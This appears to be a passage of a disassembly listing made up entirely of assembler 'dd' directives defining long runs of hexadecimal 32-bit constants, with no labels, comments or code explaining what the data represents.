		dd 0C789ECA8h, 0DFFAAEB0h, 0AE1C4Ch, 0B72A30F7h, 7E40CA05h
		dd 65660641h, 829F0D36h, 4803E072h, 18325999h, 0B63DA8A2h
		dd 9DAE0074h, 81E23063h, 8812458Fh, 0B920C426h,	0C79C13Ah
		dd 708DB6E5h, 0BB0E6048h, 8911B951h, 30D182A4h,	6CB3405Dh
		dd 42EC0025h, 6714D036h, 8300E568h, 0CF025F6Fh,	2CCCD9A1h
		dd 4BE32Ah, 6014F678h, 50048B31h, 0DC8E41CAh, 93D0E397h
		dd 0B0D2DEAh, 65E52268h, 179E5180h, 527AB43Eh, 2654E94Ch
		dd 0CF00F29Bh, 0F2C9F6A6h, 0FAAD02D0h, 0A5D72A9Eh, 96C9CC0h
		dd 80A1414Ch, 8747DF4Ah, 92AB1683h, 45B120D0h, 411E6636h
		dd 61802E5Bh, 7DB6C237h, 0D4F800DDh, 4B2D713h, 690081CBh
		dd 8B1BC77Ch, 2406C1h, 17D2FBA0h, 0C0AB9449h, 87A834E6h
		dd 964C5378h, 3BD52E87h, 70ABD100h, 16018EAh, 6D543466h
		dd 0D44B9124h, 280097EDh, 7D30E302h, 12A6AEFDh,	138A6639h
		dd 857B0386h, 0C8F4014Ah, 4B0099D7h, 0EAB1B98Fh, 285EDD7h
		dd 6DCDBE84h, 93404708h, 0DCFE59B3h, 8773AC14h,	7DFD00CAh
		dd 96B47518h, 52641DA5h, 4A86C795h, 0D534E0AEh,	70136119h
		dd 6C800FD3h, 576558h, 973B5E9Ch, 0F1D40450h, 500BCC2Fh
		dd 0C5251233h, 82A385B7h, 0A0C09867h, 35A7D13h,	0E0C85F40h
		dd 4AC90249h, 0C04F5D41h, 3B9EBC75h, 0B7005394h, 0E169A2D2h
		dd 73FF88Ch, 0D415A61Bh, 0E82FE036h, 7F090F62h,	0F3B99A80h
		dd 0C4FACBE5h, 0B181CD5Fh, 0F27A3C89h, 36CCB765h, 0E5CD12D0h
		dd 3A2CFF0Ah, 0A8585E9Ah, 0ABAFA701h, 1731F706h, 1358F08h
		dd 0DF3B4BC3h, 64D67E1Ch, 0BC7DEEBh, 80A91DE9h,	3EFCE331h
		dd 0D61F31B8h, 0ECC503A2h, 1200EAE0h, 0CC7B6CA6h, 787728F8h
		dd 890800BDh, 0DC673FB7h, 147985E8h, 32E44500h,	277F5203h
		dd 8BD11FB3h, 7B11D942h, 0F9A2F0A9h, 3862A41Fh,	3EAA4780h
		dd 90AB5AD4h, 0FE60C9Bh, 0E92F1984h, 670B1460h,	125BE3h
		dd 681BD834h, 0FC6B2B7Fh, 9F476600h, 759DE164h,	8B58010Ah
		dd 0F5C081CAh, 0C459159h, 40F61Fh, 29703A7Ch, 89051C8Ah
		dd 4D680B1Bh, 345B31B0h, 2F850Fh, 81F8309Eh, 0B71DBDEEh
		dd 0E1815282h, 54695867h, 384C6F0h, 0F55B6D4h, 2A00D7BFh
		dd 3C8C97D2h, 70F556F9h, 0BA768Fh, 81508035h, 303AFEE8h
		dd 0A0573736h, 13FA60A8h, 0FD6DBF66h, 84935D95h, 7D128E22h
		dd 6C90666h, 151EE93Fh,	77A13900h, 0A0FC0DDFh, 0FF9E982Ch
		dd 0B8B11C7Eh, 4E294C00h, 0A51E0E83h, 59E5000h,	302644D2h
		dd 590807F4h, 10DB0B39h, 3BAC6CF6h, 0DC8AE0FDh,	7B0C3E7Ch
		dd 8832258h, 3757839h, 8A3B77D8h, 213A41DDh, 0B0C13BA3h
		dd 49B9116Fh, 0BE6714AEh, 8B061C13h, 112F229Eh,	8C08B9EEh
		dd 839048h, 7F88E50Bh, 0FB888EF4h, 1A6E3896h, 7B026120h
		dd 645179C2h, 4920135Bh, 0FB8D4478h, 523AD63Ah,	3BDB4850h
		dd 114FB083h, 1EC090C6h, 40151C61h, 45BC9A9h, 0E0C15D8Dh
		dd 9A60CF57h, 3E6C8440h
		dd 0FCBF181Fh, 0E3581097h, 2D95C001h, 2F6DDA37h, 15083ECh
		dd 9F0E7A23h, 88635E40h, 3E937460h, 0CC3291Eh, 641077D0h
		dd 7BA00360h, 371A8ABh,	7D9ACFEFh, 3607B4E0h, 6EA2A4E9h
		dd 70ACC680h, 0A19B3A7Bh, 82C3DE07h, 0A9B08059h, 0CC0EEA7Dh
		dd 80E4837Eh, 0BDE34E39h, 0CA76009Ch, 0D20B8DADh, 5704A7C1h
		dd 799EBBE4h, 0B806085h, 14A2CBEDh, 3858E97Ah, 0E1CABFA1h
		dd 2AA5E381h, 8C43118h,	9CE1DC7Fh, 0B19DB080h, 0A4A7EF74h
		dd 0CACB0B02h, 0C0C46EA8h, 7ED5B33h, 0D05A9CC7h, 0F35080ACh
		dd 5414ADC1h, 0F6858C9h, 6CF6088h, 8A397B8Dh, 18043EDCh
		dd 105E11F4h, 2115DE04h, 0C860E3h, 151F315Fh, 2BEE5CBh
		dd 443E5359h, 8049E35Bh, 0FFFC43FBh, 9475191Eh,	8F3EF0Ah
		dd 380E7C12h, 11D60098h, 28A885F0h, 92CC038h, 26BAEE7Ah
		dd 0C60C0008h, 0C8E8829h, 3025CA31h, 41C094FCh,	0A058D912h
		dd 300808EFh, 894187DEh, 0A0927C73h, 192D40CCh,	80F2AA3h
		dd 75891478h, 4370587Fh, 144CBE12h, 29BA5843h, 90DFB013h
		dd 8E3FEBC3h, 8150521Eh, 8F485885h, 6CC2486h, 2132F618h
		dd 1DCEBC28h, 63CE1C7h,	193315FEh, 0FF1A391Ah, 0E3E48008h
		dd 989204D6h, 3E8E07B8h, 420EC2A9h, 0C89F6DCh, 49150AEh
		dd 6F74A8C4h, 1BFEB0C0h, 7E943A8Eh, 0CC8BD14h, 13677B1Eh
		dd 96144516h, 0DB580018h, 5C0463FCh, 0D74464A7h, 0C2B93E41h
		dd 8CA8EE90h, 901D10BCh, 0BA721B8h, 90270CA1h, 424DA50Ah
		dd 983DC2F0h, 42A8F899h, 54C9E5E0h, 0CB59935Ah,	0C662481Ch
		dd 0C154DA40h, 0A074F614h, 0A345C88Ch, 0CE9A50E4h, 0BEE1DB13h
		dd 42987C26h, 0C990623Dh, 90C02530h, 0A038D864h, 0E5516F61h
		dd 884CC65Ch, 14E0D3CBh, 0CC2164ACh, 1E149826h,	0FCA00A48h
		dd 12B9E073h, 0C3230A3h, 51802864h, 0C99A349h, 8CA8EA1Dh
		dd 6BFCB916h, 7F85042Ah, 5B8833E5h, 4078E058h, 298401F4h
		dd 3194310Ah, 24968C40h, 0C2243860h, 8764285Eh,	6BA38050h
		dd 2A0C9946h, 0DC138C0Ch, 0C3F9A1Bh, 7C122984h,	0E4C812BCh
		dd 17A8327Dh, 0FB518028h, 0B0C99A3h, 0ACAA959Ch, 5211D59Ch
		dd 0BF427BEAh, 9F39B164h, 603B21A0h, 8F491886h,	29148A49h
		dd 74ACD842h, 61ED2247h, 9B21505Fh, 68CC1651h, 511A65BDh
		dd 81A836D2h, 0B464E2F9h, 57D84DE1h, 5836C930h,	9A4C54F5h
		dd 356DA22Ch, 0F41BADF1h, 756CEC06h, 0C0CD0110h, 65F8640h
		dd 5D30D839h, 107818D4h, 0DC503892h, 0DE41886Fh, 18272A30h
		dd 1860738Bh, 709B6759h, 11F90FEFh, 80485D4h, 0FF94299Ch
		dd 1D6EC13Ch, 451E123Ah, 0AF3C1CE8h, 0A3B16811h, 3CD851E5h
		dd 80E60DC1h, 0F4101E18h, 77660084h, 0B4A96795h, 0BE540F8Ch
		dd 0D707399Dh, 0C45EC086h, 0BFF88FAFh, 87145850h, 9B2E5F7Ch
		dd 1901247Eh, 79C0C8C5h, 3F8C50A8h, 8C4DB0F6h, 80135457h
		dd 98540484h, 71EF4394h, 1448FE89h, 0FC7F1AF2h,	48EEE07Fh
		dd 0E50F0866h, 4272D0D6h, 91B44F5Ch, 52E61840h,	1422AD88h
		dd 20F1ABCBh, 1855BFE1h, 76303C94h, 0C6187BC0h,	0F4907D58h
		dd 803C9288h, 0F05F93DBh, 3EC1026Bh, 91C8363Ch,	1AF94AC0h
		dd 34243224h, 2BD9BEC0h, 0EDCB005Bh, 99E77361h,	63248972h
		dd 86B3CC62h, 0E806A387h, 2690B7h, 0D9D52AEFh, 860B2F3Dh
		dd 0F8498E26h, 7EF38A06h, 0B19B0089h, 0A50464FCh, 9CEC0F5Dh
		dd 219608CCh, 0A97ABCh,	7DCB698Fh, 3B44EDD1h, 9E34B490h
		dd 88C5E06Ah, 895C4F0Ch, 0CE960078h, 2FA5E1D8h,	7D66D97Fh
		dd 4216D08h, 78CE8E9Dh,	1FCE38Ch, 0AE13D9E1h, 0F4C9580Ah
		dd 468100FFh, 0ED28C899h, 0BD0075E9h, 205F7C5Ch, 3A1CA8FBh
		dd 9F06FDDDh, 0E8E27696h, 39C37002h, 0A1D23034h, 9048B8C0h
		dd 2AFB7840h, 37B0A0DDh, 3C73009Bh, 6153382h, 3F01BB51h
		dd 562999Fh, 71F8C286h,	744709FCh, 0DCE3E5D0h, 103D40A9h
		dd 13E6859h, 9F77C2B6h,	984FBA5Ch, 7E215608h, 6D3E0060h
		dd 953605C1h, 0CF0FFBA6h, 0CF750EC2h, 0C88CD340h, 5D8A0718h
		dd 4E89AACBh, 6393CADCh, 0F38C4204h, 66E6B052h,	7AB83B00h
		dd 5326A1B0h, 65470301h, 5B91B2DAh, 0CA9F4801h,	3C494BA6h
		dd 658F108Dh, 0D5300848h, 5106B040h, 59D0FC9Dh,	82C9DCC2h
		dd 91D6A8C4h, 9318480h,	0F61408DEh, 7FF9EA64h, 8A48A014h
		dd 41CB0CE0h, 98D14Dh, 965BAD77h, 0DCCD3D42h, 0FCEC4403h
		dd 0A82B7ED3h, 1A90FCCh, 0A42F55E1h, 343186DDh,	10C4DB40h
		dd 6C02260Eh, 0FC486898h, 0BE1267BBh, 48C07D17h, 805BE210h
		dd 0F100BAB0h, 25FBC87Bh, 0B44F1604h, 6891A2Ch,	960004C4h
		dd 7DE33C66h, 1C1710C1h, 7FCAEA76h, 0D4288880h,	9F0FC2B7h
		dd 0D499A924h, 804D3160h, 2037007Eh, 9E6EFAADh,	4F2CC9F6h
		dd 0B540F442h, 38A66A04h, 0A7841E67h, 0C4DC5D0Eh, 0EE6080AFh
		dd 8AC50DBAh, 0E8A50F21h, 3A5B0980h, 0EDF57E64h, 74949AD4h
		dd 0BF0C3098h, 0D0633D7Ch, 0BA20400Fh, 0FBC2CD60h, 245BE589h
		dd 14CFDC4h, 0EB698C9Fh, 0B82C2081h, 0A8C03A0Ah, 30039C6Eh
		dd 0A8739AADh, 18A5CA29h, 0B950E18Ah, 9591A99h,	403078B8h
		dd 0A74A1943h, 0E9AE01E4h, 41B3DCE7h, 2468D269h, 0A82C87E1h
		dd 0FA081030h, 4BC61E2Ah, 700737AFh, 71CDE306h,	0C98A53A0h
		dd 1864B002h, 65C30E31h, 6074E414h, 0EB7560h, 4126018Ch
		dd 0C4BF3672h, 297AD904h, 0C914DECh, 0C007C0Bh,	3A44F238h
		dd 34C812C4h, 0B850408Dh, 7C7F949Ah, 484598A0h,	7C88B25Ch
		dd 0E65B10C0h, 2E080E6Ch, 0A15C573Ah, 357160D8h, 0B092553Eh
		dd 0A4B6F3F6h, 0CF123780h, 0E48E8105h, 0D7DF484Fh, 41E1C100h
		dd 5B9D3994h, 52C09249h, 34F380B8h, 0A4A1C90Ch,	50A080FCh
		dd 67E8A092h, 811160C8h, 628A3896h, 0F663A0C2h,	0C1B4D804h
		dd 0E2BABEC8h, 0EA3D0B0h, 525AE30Fh, 8BA9A128h,	60F6CC6Bh
		dd 1790D508h, 0FAC1A9Ah, 1333A7h, 7CAF8C18h, 9828243Bh
		dd 0BA44E892h, 721612E1h, 47F0084Ch, 0A0F8BE8Eh, 0E65713D7h
		dd 95EAE7h, 94EBAF46h, 0E1F27C97h, 96D56001h, 0F6E44C0Ah
		dd 0A8928DC1h, 0F4CCA16Bh, 7938BA6Dh, 0F87B2A1Ah, 44CE610Ch
		dd 306328A9h, 0F5196A64h, 6B00D11Bh, 10849DD0h,	0A53893h
		dd 0BF3FACF7h, 0EA22DFFAh, 530690A4h, 0A7B8F664h, 63561148h
		dd 22D5005Fh, 7CE9FE12h, 0D2381436h, 0B128A43Dh, 8E650080h
		dd 59CFD921h, 20BA74CEh, 4A30D170h, 0C29B2856h,	706424C0h
		dd 5D630C28h, 8300FF59h, 9FB93B81h, 7A38E9C5h, 0A8DC3AC4h
		dd 9FF4D629h, 200BD353h, 32E3E1F0h, 0B9F7C4A8h,	9168B3ECh
		dd 429C810h, 7703193Ch,	38324069h, 81878505h, 0FC5E8084h
		dd 0C32F8AE9h, 2BFC2063h, 709C516h, 3334977Eh, 380149B8h
		dd 6920FEEEh, 896F7158h, 770E82C8h, 83C4F33Ch, 0D4F867CDh
		dd 200A5789h, 5F41FE3Ch, 0EC4B830h, 27C2B251h, 7865E1CFh
		dd 0F89810AFh, 0FD6E604h, 8B0407EDh, 68C3696Fh,	30DDAC80h
		dd 0EE893AC2h, 74D15A6h, 0CCC40E24h, 2513C0FCh,	18C29699h
		dd 0A974D4A8h, 0A018C319h, 4B118590h, 62B09CBDh, 0DCE542CDh
		dd 0C4392410h, 47683396h, 0C6BEE1DCh, 9809A0AAh, 60178518h
		dd 4A660D18h, 6F2072D3h, 26782008h, 0C4FE8C14h,	4FFD0301h
		dd 0B1029DC8h, 6063808Ah, 0DFCF80D0h, 0A87C73B2h, 6960F198h
		dd 59CB2C19h, 0D9C90036h, 7C6B731Bh, 0E0019B65h, 0D8B12FEFh
		dd 0D8606FFFh, 0FC261EEEh
		dd 2735218h, 0A1A8B08h,	0A0CF7444h, 69035080h, 98C533AEh
		dd 9CA05EB2h, 38945195h, 945A3E28h, 1400D970h, 9668BD78h
		dd 0A06C6608h, 43870Ch,	34715075h, 6A8C3927h, 2ABA0607h
		dd 0BE90D9BCh, 1254834Fh, 370B794h, 89FC880Ch, 687A18C0h
		dd 0BCB248C0h, 98BE7CF6h, 1EA3E40Ch, 0C02C5684h, 0F09806BAh
		dd 8B120A38h, 70414ADDh, 71E0C8C2h, 2064B093h, 81D0C610h
		dd 3F04D03h, 0CFE0816h,	0ACC41C1h, 57005538h, 59F8CF75h
		dd 74E0A7F4h, 8A2A0026h, 2181B30h, 0F638D01Ch, 58658133h
		dd 5E999AA9h, 3A13620h,	98623428h, 9EC09B6Bh, 36E6975Bh
		dd 0A29A2500h, 0A59959A8h, 146452ABh, 0A0069C8Fh, 0A77D309Fh
		dd 86DA53Eh, 5B9AA2h, 0AAA35EA9h, 985C6599h, 9DF63D6Ch
		dd 0A858A296h, 0B89D5A90h, 1E18DD22h, 9CAB409Eh, 94A869A4h
		dd 2880B3E9h, 0ADA7A05Dh, 97D0E762h, 0A6A9306Ah, 9DA2A078h
		dd 6BAA31C7h, 0FAA959FCh, 520CA6A6h, 59008436h,	6199989Ch
		dd 6AE2A5A4h, 5FAA88A0h, 14A1A328h, 0F10779E8h,	3EDC1C28h
		dd 0A67A4593h, 0B8FA0149h, 3D170FC3h, 0FC318037h, 194F257Bh
		dd 0F69BEA01h, 1C3E0011h, 80582AB8h, 32E45DADh,	653BEC00h
		dd 0B9834116h, 0D9711F2Ch, 7163Eh, 772EBE6Fh, 45185573h
		dd 7A71567Bh, 0A45804E3h, 2FB843h, 3435B732h, 11BA1842h
		dd 0B43D2837h, 50C18B8h, 283944B8h, 0A155651Ch,	0F91804B6h
		dd 73760336h, 3A682153h, 313D1C0Ch, 16DF1A7Dh, 2C031832h
		dd 44C438B9h, 1F07F917h, 90408AF8h, 29293156h, 42D175B3h
		dd 598C3BE5h, 0DE81BA1Fh, 1C19A8A4h, 0EB5935FEh, 0ABC35183h
		dd 1F318A9h, 13858D9h, 1AC1F336h, 0D04241F1h, 0C3F313Dh
		dd 71B469Fh, 0B3E983F9h, 0D6FB30BDh, 0F0397A69h, 0F0B78019h
		dd 0AADC403Bh, 82FBA43Dh, 83BBFAC9h, 0F7DC864Dh, 0C1B90CF1h
		dd 1E312FE8h, 1835CA31h, 4C42F0F9h, 8458A8B6h, 922B71Dh
		dd 64957BFDh, 0F339180Dh, 80EBC0E8h, 0DE309CF5h, 0F518345Bh
		dd 58B94C4Ah, 8D9E8A2h,	0C0F8BD40h, 0DE28904Fh,	0A450F939h
		dd 0B42184C8h, 26495937h, 9DB8D874h, 98908558h,	0E15C8288h
		dd 3946840Ch, 22A25064h, 0ADC4155Ah, 3FCC3223h,	0A2634C10h
		dd 1A0A11B3h, 293A5484h, 1AE211EEh, 0E450B48Ah,	35BA22C7h
		dd 515F2C08h, 8D9208D4h, 28728445h, 1A6A11DFh, 615B6C84h
		dd 5C32381Ch, 7A846C48h, 91B3493Dh, 0A2172060h,	6044AF96h
		dd 0B611BE3Eh, 0A2406113h, 37C46384h, 0F009EC21h, 4A2E4DBDh
		dd 7C2090D2h, 0CF79FD21h, 22307278h, 0FC3E313Ch, 3320748h
		dd 7A10143Fh, 0B8C44C55h, 1698CC3Ch, 4064F498h,	38C8EFD1h
		dd 3248AEDFh, 4040FF3Eh, 80295E20h, 39E891E9h, 0A89038CDh
		dd 0F99441D9h, 7C21BCEEh, 0A4A4F449h, 0FEBE3800h, 803542DFh
		dd 971C7666h, 0AA41A264h, 9FA5AB16h, 0EA53A860h, 0E460E968h
		dd 7B869h, 403E5AAEh, 989F5783h, 0A5F6567Ch, 0A8169B1Ch
		dd 5403ECECh, 995F9EA7h, 0A0D19C53h, 0A41128B0h, 0E4F9A865h
		dd 0A1729D5Bh, 304165Ch, 95545A9Bh, 963FC7AFh, 0F00FE813h
		dd 5D0211A8h, 24A394A6h, 4757C8Eh, 128FACAFh, 5BA882h
		dd 0AA24A9B4h, 18A59AABh, 20E61F89h, 24B9BCB8h,	249853h
		dd 8F7C9E7Ah, 0E9F61A17h, 18677830h, 5CEFBBC0h,	0F504B06Eh
		dd 0D03A9B04h, 1193C37Ch, 538565Ch, 47073287h, 0E1CDBCC1h
		dd 66F46007h, 0F098E4F3h, 5E2C44h, 8B038234h, 2B37F1C1h
		dd 689B2A2Eh, 132708h, 0A1305E79h, 331FB2C4h, 18737BE8h
		dd 6D2DA9C3h, 30A70BEh,	1E40ABC4h, 7633799Eh, 9D9360D9h
		dd 9B630878h, 0A8CF379h, 0BD0EBEC0h, 9E8A807Ch,	0DCCE224Ch
		dd 6DEF546h, 104A9FF3h,	0F0C18309h, 68E48C22h, 39C104Dh
		dd 8984106Eh, 0F8E5B83Bh, 95AC8C4Eh, 0F8831D40h, 400D68C8h
		dd 0C184039Ch, 7829A837h, 350AD4EBh, 0DB508CD8h, 0B6AC237Dh
		dd 9808AC6h, 6BC6EFF6h,	1134E841h, 0F8F7B68Bh, 411F3BBDh
		dd 0F781F0F9h, 85EC1C3Ah, 50842CACh, 899CC6FFh,	0E3483A51h
		dd 28EE4824h, 648A76E4h, 907E6F3h, 41EE1544h, 803DAAC3h
		dd 35AE58h, 8818037Fh, 54699F9Bh, 65A8A31Dh, 6397A5C7h
		dd 78999685h, 6850C0DEh, 54A158A9h, 7A530E7Ch, 0A3898745h
		dd 3647CC0h, 5A3D4114h,	0D93C044h, 0A500E51h, 4FBBA76Ch
		dd 4D1B6104h, 4D4EF195h, 8808000Ch, 9B7C975Fh, 8274308Ah
		dd 2C78B33Bh, 88371590h, 4A10768Ch, 0F844A0A7h,	29F7D01Fh
		dd 0B49410C6h, 91FAC808h, 0F7121537h, 3A62A330h, 88436E21h
		dd 11CC9178h, 891F808h,	34060A9Fh, 2DB2BD70h, 9C6D4610h
		dd 1DFE2BF3h, 167B0FC4h, 50D08C14h, 83398206h, 18822877h
		dd 985850EAh, 3864E086h, 3A483909h, 3C223B91h, 893E3D44h
		dd 2440123Fh, 91424841h, 44442243h, 47894645h, 384E3EF0h
		dd 4A858584h, 237A8B8Ah, 0B829F9F4h, 3A658439h,	6FB2042Eh
		dd 34E08A5h, 0FD5D93BCh, 0F737E0F8h, 3D7C837Ch,	91F0C47Dh
		dd 365A5B0Eh, 5DA2E0FCh, 0F8B0356Fh, 0E8B8E877h, 0F1C0F07Fh
		dd 10A84090h, 0A4205AC8h, 3A5B8E03h, 0C1356136h, 48291DA7h
		dd 40FFDAFh, 0FA25ABFEh, 8E0014C6h, 8A828646h, 89778C4Ch
		dd 0E0384AB3h, 22A65BACh, 67068683h, 6885A76Ch,	4694509h
		dd 0EA042F18h, 0DEB980BBh, 0E02EB64Fh, 353A1EA7h, 2910A81Bh
		dd 5C38FA2Bh, 0EF4293Fh, 40F7B669h, 0A83402B4h,	1E18C03Ah
		dd 3FB27951h, 486B3705h, 1C0F3BC0h, 0BF4B8081h,	7379FAFDh
		dd 5E28A456h, 0EE4A742h, 58777855h, 600B1E41h, 0B1973034h
		dd 1700377Ch, 7F5768D1h, 54438Ah, 42484EADh, 0E93A8D7Bh
		dd 80105995h, 131840F2h, 0BAF89161h, 2F193460h,	63DAB9B8h
		dd 0CDED1094h, 6641C8E0h, 50077FEh, 88421130h, 120E6B32h
		dd 0AAFBF0BDh, 0F794E403h, 0D96980C0h, 24B41F3Eh, 85894077h
		dd 51A8E97Fh, 62C19C0h,	0F86C57EAh, 8840F0D1h, 5E002324h
		dd 82AF7478h, 20108h, 5C3967BDh, 5ECDDEEh, 0ECFDF328h
		dd 0ED423800h, 1B2BB5C6h, 32330795h, 4CE57B46h,	0F200F3B8h
		dd 0CD61086Bh, 388BBE71h, 2580FAD6h, 0CAF7EA15h, 0FB000C04h
		dd 0FDBA2A3Fh, 4C511Bh,	5B293B09h, 574F2CE4h, 0D6CCE00Eh
		dd 351880F8h, 2ADB46h, 14EC4851h, 8BEF5733h, 0CF07237Ch
		dd 0DBE96209h, 0D9436040h, 0BA151D18h, 0EC033EF5h, 344D07CFh
		dd 495D400Fh, 0E3C29CEAh, 904715E4h, 1E441940h,	71AD734h
		dd 0C137AEFBh, 0E207DB3Eh, 981D309Bh, 57D41EE2h, 0CFC4DE1Ch
		dd 8B00521Dh, 7E44D13h,	4CFB4474h, 8CA1AE60h, 0C3045BB9h
		dd 757441Eh, 0A1094370h, 0E93342DDh, 484718B8h,	802CDB39h
		dd 22C5E649h, 2B04EA0Ch, 52CBA43h, 5109DDh, 8030AC4h, 3A152FAFh
		dd 8F38D30Ch, 0A44E838Bh, 0DD3E882Fh, 57357419h, 404714D2h
		dd 2FD2BA00h, 1FF54E08h, 0CF58471Dh, 0F84D3A0Ah, 3E94C80h
		dd 0A2AF0620h, 57041550h, 0E93D2A00h, 329390Ah,	423EFDE8h
		dd 3AC89BBAh, 62FAE749h, 34E35726h, 9DA4E04h, 434700D7h
		dd 12D6288Ch, 402FEA16h, 35470698h, 3A04C7ACh, 6014E056h
		dd 35040C6h, 118BEA17h,	0CDC4D249h, 2F6C4020h, 0D7244852h
		dd 0E91EEC05h, 0A9C17424h, 91A008C9h, 7F048560h, 40FA08E2h
		dd 5DD4C30h, 0DEE6F607h, 0EB909217h, 0A449404Ch, 178E0158h
		dd 18EC4344h, 268F0CD0h, 0D04A3Bh, 8EFE510Ah, 41623520h
		dd 60474340h
		dd 145F6C0h, 1A622CD6h,	0D1611EE8h, 8C41E2D7h, 5635C0B8h
		dd 4814E305h, 7081E943h, 0FC30EA5Bh, 48EBE805h,	201DA046h
		dd 0CE95E4Dh, 50604262h, 6FAC4348h, 49146058h, 6F078E57h
		dd 5D27404Eh, 35ADCF4Dh, 0E04FE1C8h, 87E91DD7h,	47F61E30h
		dd 14A118FFh, 7BDFF843h, 16E0F009h, 340C492Ch, 0AA043E18h
		dd 0F9DF852h, 1A0E18DEh, 8D43097h, 1716E634h, 603355F6h
		dd 0CFDEC0DDh, 1A510422h, 9D4408EAh, 91827B8h, 4565E05h
		dd 1CC04DF0h, 0E846471Dh, 0FE8901Eh, 3334EBE4h,	0EA4D3098h
		dd 787C1358h, 2441B3Ch,	3F3509D5h, 0D7C047A4h, 85F5F8CAh
		dd 9033190Ah, 0D54C31C4h, 5759B4B0h, 0DA1AC4E4h, 0B0570CD8h
		dd 4A613398h, 49C76218h, 0D98FD80Fh, 0DB490B1Fh, 1C40C412h
		dd 9D3D01Ah, 57D2DC1Fh,	0DFE9E428h, 82C06C50h, 6214C3A0h
		dd 472420E0h, 511030E3h, 4D1E69DFh, 8B4A1A0Eh, 1E2090E9h
		dd 0A42CA543h, 80603E3Ch, 442CEA49h, 4603498h, 33EBE058h
		dd 1BE31F4Dh, 8B03361h,	18298029h, 350950A4h, 0FF38B5EDh
		dd 0F0D50423h, 0DD16D24Dh, 84C9ED3Ah, 5B755E0h,	3ECB5281h
		dd 43043056h, 720E2FD1h, 0C52ADF88h, 1868A490h,	39E200AEh
		dd 55FF91D2h, 0CE518BDCh, 0F0040B14h, 0F1836Dh,	0DE91CC43h
		dd 28BBA3Ch, 93C83900h,	7CDC3FDBh, 7D18A9DFh, 82AAC9BCh
		dd 7FEB0E50h, 7B80FBA6h, 0CD3CD088h, 430F3572h,	80DF89C8h
		dd 39CE8DDBh, 18074E0h,	0B28BD242h, 0D082C757h,	7E1DCD47h
		dd 550E46CCh, 0A2CB83FDh, 87C8B0E4h, 0C43D1EE5h, 972E82h
		dd 0E042D076h, 4607E677h, 2202979Fh, 9CCAA347h,	54B28701h
		dd 21807EC7h, 0CD57CA83h, 0C8E8E176h, 0EBE4841Eh, 0DA987D98h
		dd 0C8DB6E87h, 0CF1C5283h, 7E186801h, 0E03DF3ABh, 97398042h
		dd 0CD086034h, 5778F382h, 0B960B061h, 684BE17Eh, 84C308E0h
		dd 6E46D105h, 0A800D083h, 0E023DF80h, 0F0DE508Bh, 1B930035h
		dd 39FF3668h, 0D00684CDh, 0DB7DB9EBh, 53DF0321h, 28F387CBh
		dd 0C8817EA2h, 94DA929Fh, 37C88290h, 71F008B9h,	0A63DDF86h
		dd 0F910A538h, 87E0F0F1h, 0E818CE37h, 0EDE42C3h, 9F6F0A28h
		dd 84CD2684h, 8DDC011Ch, 80C342DAh, 91B74620h, 0E8DE2AD0h
		dd 0D13C06DBh, 0E843CE35h, 27C25F5h, 0C4A33FC8h, 20C5367Eh
		dd 0A19F118Ch, 0D1780C90h, 0C80F7C90h, 8847E47Eh, 0E58837A6h
		dd 4DC1D38h, 86857DEBh,	0E678405Ch, 0E58A7C04h,	4C7C628h
		dd 896E87h, 0A682CEA8h,	812328E1h, 0F0CB54B0h, 0E47F069Fh
		dd 0D095D245h, 38F0DC7Ch, 3E289161h, 0E990849Fh, 35CE1592h
		dd 18DC5358h, 8D08573Ah, 0CD30C2B1h, 1C48A68Eh,	9F0438DBh
		dd 0C33BE277h, 992A4482h, 784881F4h, 389248CCh,	2020CB24h
		dd 0F3353EC8h, 0D07ED801h, 8576CC57h, 0E17763E8h, 0DF8BF004h
		dd 2EB460CFh, 0FD2BB04h, 8CA445B4h, 79DCC0F3h, 0D10042EDh
		dd 0FB605282h, 0F63F3Eh, 62C90183h, 0A8A076BCh,	52802507h
		dd 49AD4736h, 188F7D8h,	7E6DED4h, 98FED73Bh, 0A3217308h
		dd 908803EFh, 0BC769BC4h, 0A7E161C8h, 0ED201A00h, 8B49695Dh
		dd 5BEA18A6h, 8E4110CAh, 2842C830h, 0CBB933Eh, 0ABEAF448h
		dd 0CE0C5680h, 38B16EF2h, 0BE9A30F7h, 763FDF68h, 5EB08460h
		dd 742314h, 6E5525C6h, 17E0D730h, 20C098F8h, 26CCACBh
		dd 8820A718h, 7FC178D2h, 7C483552h, 0E18808F4h,	39C4CEDEh
		dd 88ECA440h, 4B00B26Ch, 0C547FF35h, 1ED6DF1Dh,	593E051h
		dd 4028C3AFh, 1665DAC8h, 0F3F6A4B9h, 19CE25F8h,	29CD20ABh
		dd 3F96758h, 0C54FB0E2h, 213E2C48h, 0C1716047h,	0D11ECh
		dd 88F134F5h, 880421Ch,	0F614B9B8h, 0A98AEDBh, 0B84632A5h
		dd 0ED33F204h, 98D8212Fh, 37EB7155h, 4534401h, 78EACCC9h
		dd 0DA1CB1CAh, 3C440A02h, 79CAAC83h, 1249A530h,	2F7FD4D2h
		dd 3A232Ch, 50133F08h, 2406B21Bh, 0AEFF9040h, 5DF20071h
		dd 427994Eh, 0F00EDA17h, 4010EF64h, 93F7A5BCh, 0D882D818h
		dd 600A0ABFh, 901DA645h, 0ADE23206h, 0D95B3049h, 0C80E96C1h
		dd 14315400h, 9FCB4F36h, 552D148Ch, 9A01F7EDh, 4217E124h
		dd 0C534259Ch, 0A4B0415Eh, 0B192106Eh, 15E9EE1Bh, 0E43F9312h
		dd 2BBAA300h, 556948B0h, 0ADD69815h, 12C3881Ch,	47E423CEh
		dd 5BF949F0h, 3241E100h, 0DF6D33F6h, 3D3A330Fh,	0CE903180h
		dd 0A6033F19h, 4964815h, 0F507D46h, 0FF604BCDh,	940A1764h
		dd 7EE004F4h, 0E2CF409Fh, 0A0441ABDh, 0C5269A5h, 0F1A62E57h
		dd 44A4CD38h, 14FA3F23h, 30C81CBEh, 55887821h, 0C1E8C7B1h
		dd 8EBDFE6Bh, 0E02EB259h, 9B3F3B7Ah, 27D33362h,	2100AF08h
		dd 22FE36FFh, 7B454AB0h, 0B463247Ah, 801A1124h,	0DED888EBh
		dd 6D448C06h, 88030097h, 0BCB06A83h, 8218CD2Eh,	3CA926C2h
		dd 0A92206BAh, 0F8594092h, 99D38304h, 148002E5h, 300355C5h
		dd 9E313AC3h, 321D81AFh, 0E786A9A8h, 6108A1BFh,	0A77F2195h
		dd 9F8A4081h, 551510EDh, 0ECBC3BFEh, 50F9468Dh,	6000DD60h
		dd 4A12E8F2h, 1D4F375Ah, 4ADF7448h, 30F4A262h, 68E41448h
		dd 0F278067Ah, 81C1AC7Dh, 0E0295DD6h, 446445C6h, 5CEF31ABh
